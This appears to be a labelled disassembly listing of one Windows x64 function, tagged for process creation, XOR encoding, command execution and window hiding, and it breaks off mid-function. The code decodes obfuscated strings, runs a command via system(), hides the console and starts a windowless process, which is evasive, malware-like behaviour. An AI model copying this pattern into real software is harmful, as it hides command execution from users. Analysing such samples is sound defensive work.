Function at 0x1400b82f0
Capabilities:
Create process on windows
Encode data using xor
Execute command
Hide graphical window

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x338]
sub rsp, 0x410
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rbp + 0x2f0], rax
xor ebx, ebx
lea rcx, [rbp + 0x2b0]
call fcn.1400b81c0
nop
lea rcx, [rbp + 0x290]
call fcn.1400b81c0
nop
lea rcx, [rbp + 0x270]
call fcn.1400b81c0
nop
lea rcx, [rbp + 0x2d0]
call fcn.1400b81c0
nop
movsd xmm0, qword [str._b_tq]
movsd qword [rsp + 0x50], xmm0
movzx eax, byte [0x1401742c8]
mov byte [rsp + 0x50], gethostbyname
xor byte [rsp + 0x51], 0x39
xor byte [rsp + 0x52], 0x3a
xor byte [rsp + 0x53], 0x3b
xor byte [rsp + 0x54], 0x3c
xor byte [rsp + 0x55], 0x3d
xor byte [rsp + 0x56], 0x3e
xor byte [rsp + 0x57], 0x3f
xor al, 0x40
mov byte [rsp + 0x58], al
movzx eax, word [0x1401752c4]
mov word [rsp + 0x60], ax
cmp byte [reloc.WS2_32.dll_gethostname], bl
je 0x1400b83c2
mov byte [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_45
xor byte [rsp + 0x61], 0x39
movzx eax, word [0x1401752c4]
mov word [rbp + 0x14], ax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1400b83de
mov byte [rbp + 0x14], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x15], 0x39
movzx eax, word [0x1401752c4]
mov word [rbp + 0x10], ax
movups xmm0, xmmword [0x140174b70]
movups xmm1, xmmword [0x140174b80]
mov eax, dword [0x140174bd0]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm1
mov dword [rbp - 0x30], eax
movups xmm0, xmmword [0x140174b90]
movups xmm1, xmmword [0x140174ba0]
movzx eax, byte [0x140174bd4]
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm1
mov byte [rbp - 0x2c], al
movups xmm0, xmmword [0x140174bb0]
movups xmm1, xmmword [0x140174bc0]
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm1
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1400b8450
mov byte [rbp + 0x10], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x11], 0x39
mov r8d, ebx
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp r15d, 2
jl 0x1400b859e
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x1400b8491
cmp r8d, 0x65
jge 0x1400b85e3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x65
jl 0x1400b85b0
lea rax, [rsp + 0x70]
mov rdi, 0xffffffffffffffff
mov rcx, rdi
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400b85f2
movabs r12, 0x7fffffffffffffff
mov rax, r12
mov rdx, qword [rbp + 0x2c0]
sub rax, rdx
cmp rax, rcx
jb 0x1400c1446
lea rax, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 0xf
cmova rax, qword [rbp + 0x2b0]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x160]
call fcn.140060c80
nop
lea rax, [rbp + 0x10]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400b8660
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x160]
call fcn.140058ac0
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x150], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x140], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x150], xmm1
mov qword [rax + 0x10], rbx
mov r14d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x18], r14
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea rdx, [rbp + 0x290]
cmp qword [rbp + 0x2a8], r14
cmova rdx, qword [rbp + 0x290]
mov r8, qword [rbp + 0x2a0]
lea rcx, [rbp + 0x140]
call fcn.140058ac0
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x130], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea rax, [rbp + 0x14]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400b8720
lea rdx, [rbp + 0x14]
lea rcx, [rbp + 0x120]
call fcn.140058ac0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea rdx, [rbp + 0x270]
cmp qword [rbp + 0x288], 0xf
cmova rdx, qword [rbp + 0x270]
mov r8, qword [rbp + 0x280]
lea rcx, [rbp + 0x100]
call fcn.140058ac0
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea rax, [rsp + 0x60]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400b87d6
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xe0]
call fcn.140058ac0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea rax, [rsp + 0x50]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400b8830
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xc0]
call fcn.140058ac0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea rcx, [rbp + 0xc0]
call fcn.14003d4d0
nop
lea rcx, [rbp + 0xe0]
call fcn.14003d4d0
nop
lea rcx, [rbp + 0x100]
call fcn.14003d4d0
nop
lea rcx, [rbp + 0x120]
call fcn.14003d4d0
nop
lea rcx, [rbp + 0x140]
call fcn.14003d4d0
nop
lea rcx, [rbp + 0x160]
call fcn.14003d4d0
lea rcx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0xf
cmova rcx, qword [rbp + 0x1e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [0x140176210]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [0x140176220]
movups xmmword [rbp + 0x30], xmm1
movsd xmm0, qword [0x140176230]
movsd qword [rbp + 0x40], xmm0
mov eax, dword [0x140176238]
mov dword [rbp + 0x48], eax
movzx eax, byte [0x14017623c]
mov byte [rbp + 0x4c], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400b8a7d
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp + 0x24]
mov edx, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400b8970
cmp r8d, 0x2d
jge 0x1400b8ac3
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400b8a90
mov eax, dword [0x140174018]
mov dword [rsp + 0x50], eax
movzx eax, word [0x14017401c]
mov word [rsp + 0x54], ax
movzx eax, byte [0x14017401e]
mov byte [rsp + 0x50], 0x47
xor byte [rsp + 0x51], 0x39
xor byte [rsp + 0x52], 0x3a
xor byte [rsp + 0x53], 0x3b
xor byte [rsp + 0x54], 0x3c
xor byte [rsp + 0x55], 0x3d
xor al, 0x3e
mov byte [rsp + 0x56], al
movups xmm0, xmmword [0x140174cc8]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [0x140174cd8]
movups xmmword [rbp + 0x60], xmm1
movsd xmm0, qword [0x140174ce8]
movsd qword [rbp + 0x70], xmm0
mov eax, dword [0x140174cf0]
mov dword [rbp + 0x78], eax
mov r8d, ebx
cmp r15d, 2
jl 0x1400b8c7d
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp + 0x54]
mov edx, dword [rbp - 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400b8b70
cmp r8d, 0x2c
jge 0x1400b8cc3
movsxd rax, r8d
lea r9, [rbp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x1400b8c90
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
lea rax, [rbp + 0x20]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400b8ce0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xa0]
call fcn.140058f40
nop
movzx eax, word [0x1401713c4]
mov word [rsp + 0x60], ax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1400b8d1a
mov byte [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x61], 0x39
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
lea rax, [rbp + 0x50]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400b8d36
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.140058f40
nop
mov eax, dword [0x140173efc]
mov dword [rbp - 0x20], eax
movzx eax, word [0x140173f00]
mov word [rbp - 0x1c], ax
mov byte [rbp - 0x20], Ordinal_35
xor byte [rbp - 0x1f], 0x39
xor byte [rbp - 0x1e], 0x3a
xor byte [rbp - 0x1d], 0x3b
xor al, 0x3c
mov byte [rbp - 0x1c], al
xor byte [rbp - 0x1b], 0x3d
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d0], xmm1
lea rax, [rsp + 0x50]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400b8da0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1c0]
call fcn.140058f40
nop
movsd xmm0, qword [str._LHW]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x140174210]
mov word [rsp + 0x58], ax
cmp byte [0x140174211], 0
je 0x1400b8e11
mov byte [rsp + 0x50], 0x63
xor byte [rsp + 0x51], 0x39
xor byte [rsp + 0x52], 0x3a
xor byte [rsp + 0x53], 0x3b
xor byte [rsp + 0x54], 0x3c
xor byte [rsp + 0x55], 0x3d
xor byte [rsp + 0x56], 0x3e
xor byte [rsp + 0x57], 0x3f
xor byte [rsp + 0x58], 0x40
xor byte [rsp + 0x59], 0x41
lea rax, [rsp + 0x50]
mov r9, rdi
nop dword [rax]
inc r9
cmp byte [rax + r9], 0
jne 0x1400b8e20
lea r8, [rsp + 0x50]
xor edx, edx
lea rcx, [rbp + 0x1c0]
call fcn.140061650
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea rax, [rbp - 0x20]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400b8e70
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x10]
call fcn.140058ac0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea r9, [rbp + 0x80]
lea r8, [rbp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140060a90
nop
lea rax, [rsp + 0x60]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400b8ec0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.140058ac0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea r9, [rbp + 0xa0]
lea r8, [rbp + 0x20]
lea rcx, [rbp + 0x180]
call fcn.140060a90
nop
lea rcx, [rbp + 0x20]
call fcn.14003d4d0
nop
lea rcx, [rsp + 0x70]
call fcn.14003d4d0
nop
lea rcx, [rbp + 0x50]
call fcn.14003d4d0
nop
lea rcx, [rbp - 0x10]
call fcn.14003d4d0
nop
lea rcx, [rbp + 0x1c0]
call fcn.14003d4d0
nop
lea rcx, [rbp + 0x80]
call fcn.14003d4d0
nop
lea rcx, [rbp + 0xa0]
call fcn.14003d4d0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], rax
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], rax
mov dword [rbp + 0x200], WSAGetLastError
mov dword [rbp + 0x23c], 1
mov word [rbp + 0x240], bx
lea rdx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rdx, qword [rbp + 0x180]
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x200]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400b903c
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [0x140174ad8]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [0x140174ae8]
movups xmmword [rbp + 0x30], xmm1
movsd xmm0, qword [0x140174af8]
movsd qword [rbp + 0x40], xmm0
mov eax, dword [0x140174b00]
mov dword [rbp + 0x48], eax
movzx eax, byte [0x140174b04]
mov byte [rbp + 0x4c], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400b91dd
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp + 0x24]
mov edx, dword [rbp - 0x10]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400b90d0
cmp r8d, 0x2d
jge 0x1400b9223
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400b91f0
mov eax, dword [0x140174018]
mov dword [rsp + 0x50], eax
movzx eax, word [0x14017401c]
mov word [rsp + 0x54], ax
movzx eax, byte [0x14017401e]
mov byte [rsp + 0x50], 0x47
xor byte [rsp + 0x51], 0x39
xor byte [rsp + 0x52], 0x3a
xor byte [rsp + 0x53], 0x3b
xor byte [rsp + 0x54], 0x3c
xor byte [rsp + 0x55], 0x3d
xor al, 0x3e
mov byte [rsp + 0x56], al
movups xmm0, xmmword [0x140173e68]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [0x140173e78]
movups xmmword [rbp + 0x60], xmm1
movsd xmm0, qword [0x140173e88]
movsd qword [rbp + 0x70], xmm0
mov eax, dword [0x140173e90]
mov dword [rbp + 0x78], eax
mov r8d, ebx
cmp r15d, 2
jl 0x1400b93dd
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp + 0x54]
mov edx, dword [rbp - 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400b92d0
cmp r8d, 0x2c
jge 0x1400b9423
movsxd rax, r8d
lea r9, [rbp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x1400b93f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
lea rax, [rbp + 0x20]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400b9440
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x80]
call fcn.140058f40
nop
movzx eax, word [0x1401713c4]
mov word [rsp + 0x60], ax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1400b947a
mov byte [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x61], 0x39
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
lea rax, [rbp + 0x50]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400b9496
lea rdx, [rbp + 0x50]
